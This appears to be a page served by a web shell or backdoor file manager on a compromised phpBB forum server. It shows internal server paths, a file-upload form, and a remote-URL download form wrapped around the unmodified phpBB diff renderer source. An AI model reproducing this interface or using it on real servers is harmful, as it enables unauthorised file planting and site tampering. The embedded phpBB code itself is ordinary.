<table align="center" width="400" border="0" cellspacing="1" cellpadding="3"><tr><td>PathNow: <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/toxa">toxa</a>/<a href="?path=/var/www/toxa/data">data</a>/<a href="?path=/var/www/toxa/data/www">www</a>/<a href="?path=/var/www/toxa/data/www/xlab.team">xlab.team</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum">forum</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/includes">includes</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/includes/diff">diff</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST" action="?path=/var/www/toxa/data/www/xlab.team/forum/includes/diff"><input name="up_file" type="file"/><input type="submit" value="up File"/></form></td></tr><tr><td><form method="POST" action="?path=/var/www/toxa/data/www/xlab.team/forum/includes/diff"><span>Url: </span><input type=text name="url" value=""><input type="hidden" name="path" value="/var/www/toxa/data/www/xlab.team/forum/includes/diff"><input type=submit value="Download"></form></td></tr><tr><td>Current File : /var/www/toxa/data/www/xlab.team/forum/includes/diff/renderer.php</tr></td></table><br /><form action="" method="post"><textarea style="width:100%;height:300px;" name="edit_content">&lt;?php
/**
*
* This file is part of the phpBB Forum Software package.
*
* @copyright (c) phpBB Limited &lt;https://www.phpbb.com&gt;
* @license GNU General Public License, version 2 (GPL-2.0)
*
* For full copyright and license information, please see
* the docs/CREDITS.txt file.
*
*/

/**
* @ignore
*/
if (!defined('IN_PHPBB'))
{
	exit;
}

/**
* Code from pear.php.net, Text_Diff-1.1.0 package
* http://pear.php.net/package/Text_Diff/
*
* Modified by phpBB Limited to meet our coding standards
* and being able to integrate into phpBB
*
* A class to render Diffs in different formats.
*
* This class renders the diff in classic diff format. It is intended that
* this class be customized via inheritance, to obtain fancier outputs.
*
* Copyright 2004-2008 The Horde Project (http://www.horde.org/)
*
* @package diff
*/
class diff_renderer
{
	/**
	* Number of leading context &quot;lines&quot; to preserve.
	*
	* This should be left at zero for this class, but subclasses may want to
	* set this to other values.
	*/
	var $_leading_context_lines = 0;

	/**
	* Number of trailing context &quot;lines&quot; to preserve.
	*
	* This should be left at zero for this class, but subclasses may want to
	* set this to other values.
	*/
	var $_trailing_context_lines = 0;

	/**
	* Constructor.
	*/
	function __construct($params = array())
	{
		foreach ($params as $param =&gt; $value)
		{
			$v = '_' . $param;
			if (isset($this-&gt;$v))
			{
				$this-&gt;$v = $value;
			}
		}
	}

	/**
	* Get any renderer parameters.
	*
	* @return array  All parameters of this renderer object.
	*/
	function get_params()
	{
		$params = array();
		foreach (get_object_vars($this) as $k =&gt; $v)
		{
			if ($k[0] == '_')
			{
				$params[substr($k, 1)] = $v;
			}
		}

		return $params;
	}

	/**
	* Renders a diff.
	*
	* @param diff &amp;$diff A diff object.
	*
	* @return string  The formatted output.
	*/
	function render(&amp;$diff)
	{
		$xi = $yi = 1;
		$block = false;
		$context = array();

		// Create a new diff object if it is a 3-way diff
		if (is_a($diff, 'diff3'))
		{
			$diff3 = &amp;$diff;

			$diff_1 = $diff3-&gt;get_original();
			$diff_2 = $diff3-&gt;merged_output();

			unset($diff3);

			$diff = new diff($diff_1, $diff_2);
		}

		$nlead = $this-&gt;_leading_context_lines;
		$ntrail = $this-&gt;_trailing_context_lines;

		$output = $this-&gt;_start_diff();
		$diffs = $diff-&gt;get_diff();

		foreach ($diffs as $i =&gt; $edit)
		{
			// If these are unchanged (copied) lines, and we want to keep leading or trailing context lines, extract them from the copy block.
			if (is_a($edit, 'diff_op_copy'))
			{
				// Do we have any diff blocks yet?
				if (is_array($block))
				{
					// How many lines to keep as context from the copy block.
					$keep = ($i == count($diffs) - 1) ? $ntrail : $nlead + $ntrail;
					if (count($edit-&gt;orig) &lt;= $keep)
					{
						// We have less lines in the block than we want for context =&gt; keep the whole block.
						$block[] = $edit;
					}
					else
					{
						if ($ntrail)
						{
							// Create a new block with as many lines as we need for the trailing context.
							$context = array_slice($edit-&gt;orig, 0, $ntrail);
							$block[] = new diff_op_copy($context);
						}

						$output .= $this-&gt;_block($x0, $ntrail + $xi - $x0, $y0, $ntrail + $yi - $y0, $block);
						$block = false;
					}
				}
				// Keep the copy block as the context for the next block.
				$context = $edit-&gt;orig;
			}
			else
			{
				// Don't we have any diff blocks yet?
				if (!is_array($block))
				{
					// Extract context lines from the preceding copy block.
					$context = array_slice($context, count($context) - $nlead);
					$x0 = $xi - count($context);
					$y0 = $yi - count($context);
					$block = array();

					if ($context)
					{
						$block[] = new diff_op_copy($context);
					}
				}
				$block[] = $edit;
			}

			$xi += ($edit-&gt;orig) ? count($edit-&gt;orig) : 0;
			$yi += ($edit-&gt;final) ? count($edit-&gt;final) : 0;
		}

		if (is_array($block))
		{
			$output .= $this-&gt;_block($x0, $xi - $x0, $y0, $yi - $y0, $block);
		}

		return $output . $this-&gt;_end_diff();
	}

	function _block($xbeg, $xlen, $ybeg, $ylen, &amp;$edits)
	{
		$output = $this-&gt;_start_block($this-&gt;_block_header($xbeg, $xlen, $ybeg, $ylen));

		foreach ($edits as $edit)
		{
			switch (get_class($edit))
			{
				case 'diff_op_copy':
					$output .= $this-&gt;_context($edit-&gt;orig);
				break;

				case 'diff_op_add':
					$output .= $this-&gt;_added($edit-&gt;final);
				break;

				case 'diff_op_delete':
					$output .= $this-&gt;_deleted($edit-&gt;orig);
				break;

				case 'diff_op_change':
					$output .= $this-&gt;_changed($edit-&gt;orig, $edit-&gt;final);
				break;
			}
		}

		return $output . $this-&gt;_end_block();
	}

	function _start_diff()
	{
		return '';
	}

	function _end_diff()
	{
		return '';
	}

	function _block_header($xbeg, $xlen, $ybeg, $ylen)
	{
		if ($xlen &gt; 1)
		{
			$xbeg .= ',' . ($xbeg + $xlen - 1);
		}

		if ($ylen &gt; 1)
		{
			$ybeg .= ',' . ($ybeg + $ylen - 1);
		}

		// this matches the GNU Diff behaviour
		if ($xlen &amp;&amp; !$ylen)
		{
			$ybeg--;
		}
		else if (!$xlen)
		{
			$xbeg--;
		}

		return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
	}

	function _start_block($header)
	{
		return $header . &quot;\n&quot;;
	}

	function _end_block()
	{
		return '';
	}

	function _lines($lines, $prefix = ' ')
	{
		return $prefix . implode(&quot;\n$prefix&quot;, $lines) . &quot;\n&quot;;
	}

	function _context($lines)
	{
		return $this-&gt;_lines($lines, '  ');
	}

	function _added($lines)
	{
		return $this-&gt;_lines($lines, '&gt; ');
	}

	function _deleted($lines)
	{
		return $this-&gt;_lines($lines, '&lt; ');
	}

	function _changed($orig, $final)
	{
		return $this-&gt;_deleted($orig) . &quot;---\n&quot; . $this-&gt;_added($final);
	}

	/**
	* Our function to get the diff
	*/
	function get_diff_content($diff)
	{
		return $this-&gt;render($diff);
	}
}

/**
* Renders a unified diff
* @package diff
*/
class diff_renderer_unified extends diff_renderer
{
	var $_leading_context_lines = 4;
	var $_trailing_context_lines = 4;

	/**
	* Our function to get the diff
	*/
	function get_diff_content($diff)
	{
		return nl2br($this-&gt;render($diff));
	}

	function _block_header($xbeg, $xlen, $ybeg, $ylen)
	{
		if ($xlen != 1)
		{
			$xbeg .= ',' . $xlen;
		}

		if ($ylen != 1)
		{
			$ybeg .= ',' . $ylen;
		}
		return '&lt;div class=&quot;diff&quot;&gt;&lt;big class=&quot;info&quot;&gt;@@ -' . $xbeg . ' +' . $ybeg . ' @@&lt;/big&gt;&lt;/div&gt;';
	}

	function _context($lines)
	{
		return '&lt;pre class=&quot;diff context&quot;&gt;' . htmlspecialchars($this-&gt;_lines($lines, ' ')) . '&lt;br /&gt;&lt;/pre&gt;';
	}

	function _added($lines)
	{
		return '&lt;pre class=&quot;diff added&quot;&gt;' . htmlspecialchars($this-&gt;_lines($lines, '+')) . '&lt;br /&gt;&lt;/pre&gt;';
	}

	function _deleted($lines)
	{
		return '&lt;pre class=&quot;diff removed&quot;&gt;' . htmlspecialchars($this-&gt;_lines($lines, '-')) . '&lt;br /&gt;&lt;/pre&gt;';
	}

	function _changed($orig, $final)
	{
		return $this-&gt;_deleted($orig) . $this-&gt;_added($final);
	}

	function _start_diff()
	{
		$start = '&lt;div class=&quot;file&quot;&gt;';

		return $start;
	}

	function _end_diff()
	{
		return '&lt;/div&gt;';
	}

	function _end_block()
	{
		return '';
	}
}

/**
* &quot;Inline&quot; diff renderer.
*
* This class renders diffs in the Wiki-style &quot;inline&quot; format.
*
* @author  Ciprian Popovici
* @package diff
*/
class diff_renderer_inline extends diff_renderer
{
	var $_leading_context_lines = 10000;
	var $_trailing_context_lines = 10000;

	// Prefix and suffix for inserted text
	var $_ins_prefix = '&lt;span class=&quot;ins&quot;&gt;';
	var $_ins_suffix = '&lt;/span&gt;';

	// Prefix and suffix for deleted text
	var $_del_prefix = '&lt;span class=&quot;del&quot;&gt;';
	var $_del_suffix = '&lt;/span&gt;';

	var $_block_head = '';

	// What are we currently splitting on? Used to recurse to show word-level
	var $_split_level = 'lines';

	/**
	* Our function to get the diff
	*/
	function get_diff_content($diff)
	{
		return '&lt;pre&gt;' . nl2br($this-&gt;render($diff)) . '&lt;br /&gt;&lt;/pre&gt;';
	}

	function _start_diff()
	{
		return '';
	}

	function _end_diff()
	{
		return '';
	}

	function _block_header($xbeg, $xlen, $ybeg, $ylen)
	{
		return $this-&gt;_block_head;
	}

	function _start_block($header)
	{
		return $header;
	}

	function _lines($lines, $prefix = ' ', $encode = true)
	{
		if ($encode)
		{
			array_walk($lines, array(&amp;$this, '_encode'));
		}

		if ($this-&gt;_split_level == 'words')
		{
			return implode('', $lines);
		}
		else
		{
			return implode(&quot;\n&quot;, $lines) . &quot;\n&quot;;
		}
	}

	function _added($lines)
	{
		array_walk($lines, array(&amp;$this, '_encode'));
		$lines[0] = $this-&gt;_ins_prefix . $lines[0];
		$lines[count($lines) - 1] .= $this-&gt;_ins_suffix;
		return $this-&gt;_lines($lines, ' ', false);
	}

	function _deleted($lines, $words = false)
	{
		array_walk($lines, array(&amp;$this, '_encode'));
		$lines[0] = $this-&gt;_del_prefix . $lines[0];
		$lines[count($lines) - 1] .= $this-&gt;_del_suffix;
		return $this-&gt;_lines($lines, ' ', false);
	}

	function _changed($orig, $final)
	{
		// If we've already split on words, don't try to do so again - just display.
		if ($this-&gt;_split_level == 'words')
		{
			$prefix = '';
			while ($orig[0] !== false &amp;&amp; $final[0] !== false &amp;&amp; substr($orig[0], 0, 1) == ' ' &amp;&amp; substr($final[0], 0, 1) == ' ')
			{
				$prefix .= substr($orig[0], 0, 1);
				$orig[0] = substr($orig[0], 1);
				$final[0] = substr($final[0], 1);
			}

			return $prefix . $this-&gt;_deleted($orig) . $this-&gt;_added($final);
		}

		$text1 = implode(&quot;\n&quot;, $orig);
		$text2 = implode(&quot;\n&quot;, $final);

		// Non-printing newline marker.
		$nl = &quot;\0&quot;;

		// We want to split on word boundaries, but we need to preserve whitespace as well.
		// Therefore we split on words, but include all blocks of whitespace in the wordlist.
		$splitted_text_1 = $this-&gt;_split_on_words($text1, $nl);
		$splitted_text_2 = $this-&gt;_split_on_words($text2, $nl);

		$diff = new diff($splitted_text_1, $splitted_text_2);
		unset($splitted_text_1, $splitted_text_2);

		// Get the diff in inline format.
		$renderer = new diff_renderer_inline(array_merge($this-&gt;get_params(), array('split_level' =&gt; 'words')));

		// Run the diff and get the output.
		return str_replace($nl, &quot;\n&quot;, $renderer-&gt;render($diff)) . &quot;\n&quot;;
	}

	function _split_on_words($string, $newline_escape = &quot;\n&quot;)
	{
		// Ignore \0; otherwise the while loop will never finish.
		$string = str_replace(&quot;\0&quot;, '', $string);

		$words = array();
		$length = strlen($string);
		$pos = 0;

		$tab_there = true;
		while ($pos &lt; $length)
		{
			// Check for tabs... do not include them
			if ($tab_there &amp;&amp; substr($string, $pos, 1) === &quot;\t&quot;)
			{
				$words[] = &quot;\t&quot;;
				$pos++;

				continue;
			}
			else
			{
				$tab_there = false;
			}

			// Eat a word with any preceding whitespace.
			$spaces = strspn(substr($string, $pos), &quot; \n&quot;);
			$nextpos = strcspn(substr($string, $pos + $spaces), &quot; \n&quot;);
			$words[] = str_replace(&quot;\n&quot;, $newline_escape, substr($string, $pos, $spaces + $nextpos));
			$pos += $spaces + $nextpos;
		}

		return $words;
	}

	function _encode(&amp;$string)
	{
		$string = htmlspecialchars($string);
	}
}

/**
* &quot;raw&quot; diff renderer.
* This class could be used to output a raw unified patch file
*
* @package diff
*/
class diff_renderer_raw extends diff_renderer
{
	var $_leading_context_lines = 4;
	var $_trailing_context_lines = 4;

	/**
	* Our function to get the diff
	*/
	function get_diff_content($diff)
	{
		return '&lt;textarea style=&quot;height: 290px;&quot; rows=&quot;15&quot; cols=&quot;76&quot; class=&quot;full&quot;&gt;' . htmlspecialchars($this-&gt;render($diff)) . '&lt;/textarea&gt;';
	}

	function _block_header($xbeg, $xlen, $ybeg, $ylen)
	{
		if ($xlen != 1)
		{
			$xbeg .= ',' . $xlen;
		}

		if ($ylen != 1)
		{
			$ybeg .= ',' . $ylen;
		}
		return '@@ -' . $xbeg . ' +' . $ybeg . ' @@';
	}

	function _context($lines)
	{
		return $this-&gt;_lines($lines, ' ');
	}

	function _added($lines)
	{
		return $this-&gt;_lines($lines, '+');
	}

	function _deleted($lines)
	{
		return $this-&gt;_lines($lines, '-');
	}

	function _changed($orig, $final)
	{
		return $this-&gt;_deleted($orig) . $this-&gt;_added($final);
	}
}

/**
* &quot;chora (Horde)&quot; diff renderer - similar style.
* This renderer class is a modified human_readable function from the Horde Framework.
*
* @package diff
*/
class diff_renderer_side_by_side extends diff_renderer
{
	var $_leading_context_lines = 3;
	var $_trailing_context_lines = 3;

	var $lines = array();

	// Hold the left and right columns of lines for change blocks.
	var $cols;
	var $state;

	var $data = false;

	/**
	* Our function to get the diff
	*/
	function get_diff_content($diff)
	{
		global $user;

		$output = '';
		$output .= '&lt;table cellspacing=&quot;0&quot; class=&quot;hrdiff&quot;&gt;
&lt;caption&gt;
	&lt;span class=&quot;unmodified&quot;&gt;&amp;nbsp;&lt;/span&gt; ' . $user-&gt;lang['LINE_UNMODIFIED'] . '
	&lt;span class=&quot;added&quot;&gt;&amp;nbsp;&lt;/span&gt; ' . $user-&gt;lang['LINE_ADDED'] . '
	&lt;span class=&quot;modified&quot;&gt;&amp;nbsp;&lt;/span&gt; ' . $user-&gt;lang['LINE_MODIFIED'] . '
	&lt;span class=&quot;removed&quot;&gt;&amp;nbsp;&lt;/span&gt; ' . $user-&gt;lang['LINE_REMOVED'] . '
&lt;/caption&gt;
&lt;tbody&gt;
';

		$this-&gt;render($diff);

		// Is the diff empty?
		if (!count($this-&gt;lines))
		{
			$output .= '&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;' . $user-&gt;lang['NO_VISIBLE_CHANGES'] . '&lt;/th&gt;&lt;/tr&gt;';
		}
		else
		{
			// Iterate through every header block of changes
			foreach ($this-&gt;lines as $header)
			{
				$output .= '&lt;tr&gt;&lt;th&gt;' . $user-&gt;lang['LINE'] . ' ' . $header['oldline'] . '&lt;/th&gt;&lt;th&gt;' . $user-&gt;lang['LINE'] . ' ' . $header['newline'] . '&lt;/th&gt;&lt;/tr&gt;';

				// Each header block consists of a number of changes (add, remove, change).
				$current_context = '';

				foreach ($header['contents'] as $change)
				{
					if (!empty($current_context) &amp;&amp; $change['type'] != 'empty')
					{
						$line = $current_context;
						$current_context = '';

						$output .= '&lt;tr class=&quot;unmodified&quot;&gt;&lt;td&gt;&lt;pre&gt;' . ((strlen($line)) ? $line : '&amp;nbsp;') . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;
							&lt;td&gt;&lt;pre&gt;' . ((strlen($line)) ? $line : '&amp;nbsp;') . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;';
					}

					switch ($change['type'])
					{
						case 'add':
							$line = '';

							foreach ($change['lines'] as $_line)
							{
								$line .= htmlspecialchars($_line) . '&lt;br /&gt;';
							}

							$output .= '&lt;tr&gt;&lt;td class=&quot;added_empty&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;td class=&quot;added&quot;&gt;&lt;pre&gt;' . ((strlen($line)) ? $line : '&amp;nbsp;') . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;';
						break;

						case 'remove':
							$line = '';

							foreach ($change['lines'] as $_line)
							{
								$line .= htmlspecialchars($_line) . '&lt;br /&gt;';
							}

							$output .= '&lt;tr&gt;&lt;td class=&quot;removed&quot;&gt;&lt;pre&gt;' . ((strlen($line)) ? $line : '&amp;nbsp;') . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;removed_empty&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;';
						break;

						case 'empty':
							$current_context .= htmlspecialchars($change['line']) . '&lt;br /&gt;';
						break;

						case 'change':
							// Pop the old/new stacks one by one, until both are empty.
							$oldsize = count($change['old']);
							$newsize = count($change['new']);
							$left = $right = '';

							for ($row = 0, $row_max = max($oldsize, $newsize); $row &lt; $row_max; ++$row)
							{
								$left .= isset($change['old'][$row]) ? htmlspecialchars($change['old'][$row]) : '';
								$left .= '&lt;br /&gt;';
								$right .= isset($change['new'][$row]) ? htmlspecialchars($change['new'][$row]) : '';
								$right .= '&lt;br /&gt;';
							}

							$output .= '&lt;tr&gt;';

							if (!empty($left))
							{
								$output .= '&lt;td class=&quot;modified&quot;&gt;&lt;pre&gt;' . $left . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;';
							}
							else if ($row &lt; $oldsize)
							{
								$output .= '&lt;td class=&quot;modified&quot;&gt;&amp;nbsp;&lt;/td&gt;';
							}
							else
							{
								$output .= '&lt;td class=&quot;unmodified&quot;&gt;&amp;nbsp;&lt;/td&gt;';
							}

							if (!empty($right))
							{
								$output .= '&lt;td class=&quot;modified&quot;&gt;&lt;pre&gt;' . $right . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;';
							}
							else if ($row &lt; $newsize)
							{
								$output .= '&lt;td class=&quot;modified&quot;&gt;&amp;nbsp;&lt;/td&gt;';
							}
							else
							{
								$output .= '&lt;td class=&quot;unmodified&quot;&gt;&amp;nbsp;&lt;/td&gt;';
							}

							$output .= '&lt;/tr&gt;';
						break;
					}
				}

				if (!empty($current_context))
				{
					$line = $current_context;
					$current_context = '';

					$output .= '&lt;tr class=&quot;unmodified&quot;&gt;&lt;td&gt;&lt;pre&gt;' . ((strlen($line)) ? $line : '&amp;nbsp;') . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;';
					$output .= '&lt;td&gt;&lt;pre&gt;' . ((strlen($line)) ? $line : '&amp;nbsp;') . '&lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;';
				}
			}
		}

		$output .= '&lt;/tbody&gt;&lt;/table&gt;';

		return $output;
	}

	function _start_diff()
	{
		$this-&gt;lines = array();

		$this-&gt;data = false;
		$this-&gt;cols = array(array(), array());
		$this-&gt;state = 'empty';

		return '';
	}

	function _end_diff()
	{
		// Just flush any remaining entries in the columns stack.
		switch ($this-&gt;state)
		{
			case 'add':
				$this-&gt;data['contents'][] = array('type' =&gt; 'add', 'lines' =&gt; $this-&gt;cols[0]);
			break;

			case 'remove':
				// We have some removal lines pending in our stack, so flush them.
				$this-&gt;data['contents'][] = array('type' =&gt; 'remove', 'lines' =&gt; $this-&gt;cols[0]);
			break;

			case 'change':
				// We have both remove and addition lines, so this is a change block.
				$this-&gt;data['contents'][] = array('type' =&gt; 'change', 'old' =&gt; $this-&gt;cols[0], 'new' =&gt; $this-&gt;cols[1]);
			break;
		}

		if ($this-&gt;data !== false)
		{
			$this-&gt;lines[] = $this-&gt;data;
		}

		return '';
	}

	function _block_header($xbeg, $xlen, $ybeg, $ylen)
	{
		// Push any previous header information to the return stack.
		if ($this-&gt;data !== false)
		{
			$this-&gt;lines[] = $this-&gt;data;
		}

		$this-&gt;data = array('type' =&gt; 'header', 'oldline' =&gt; $xbeg, 'newline' =&gt; $ybeg, 'contents' =&gt; array());
		$this-&gt;state = 'dump';
	}

	function _added($lines)
	{
		array_walk($lines, array(&amp;$this, '_perform_add'));
	}

	function _perform_add($line)
	{
		if ($this-&gt;state == 'empty')
		{
			return '';
		}

		// This is just an addition line.
		if ($this-&gt;state == 'dump' || $this-&gt;state == 'add')
		{
			// Start adding to the addition stack.
			$this-&gt;cols[0][] = $line;
			$this-&gt;state = 'add';
		}
		else
		{
			// This is inside a change block, so start accumulating lines.
			$this-&gt;state = 'change';
			$this-&gt;cols[1][] = $line;
		}
	}

	function _deleted($lines)
	{
		array_walk($lines, array(&amp;$this, '_perform_delete'));
	}

	function _perform_delete($line)
	{
		// This is a removal line.
		$this-&gt;state = 'remove';
		$this-&gt;cols[0][] = $line;
	}

	function _context($lines)
	{
		array_walk($lines, array(&amp;$this, '_perform_context'));
	}

	function _perform_context($line)
	{
		// An empty block with no action.
		switch ($this-&gt;state)
		{
			case 'add':
				$this-&gt;data['contents'][] = array('type' =&gt; 'add', 'lines' =&gt; $this-&gt;cols[0]);
			break;

			case 'remove':
				// We have some removal lines pending in our stack, so flush them.
				$this-&gt;data['contents'][] = array('type' =&gt; 'remove', 'lines' =&gt; $this-&gt;cols[0]);
			break;

			case 'change':
				// We have both remove and addition lines, so this is a change block.
				$this-&gt;data['contents'][] = array('type' =&gt; 'change', 'old' =&gt; $this-&gt;cols[0], 'new' =&gt; $this-&gt;cols[1]);
			break;
		}

		$this-&gt;cols = array(array(), array());
		$this-&gt;data['contents'][] = array('type' =&gt; 'empty', 'line' =&gt; $line);
		$this-&gt;state = 'dump';
	}

	function _changed($orig, $final)
	{
		return $this-&gt;_deleted($orig) . $this-&gt;_added($final);
	}

}
</textarea><input type="submit"></form>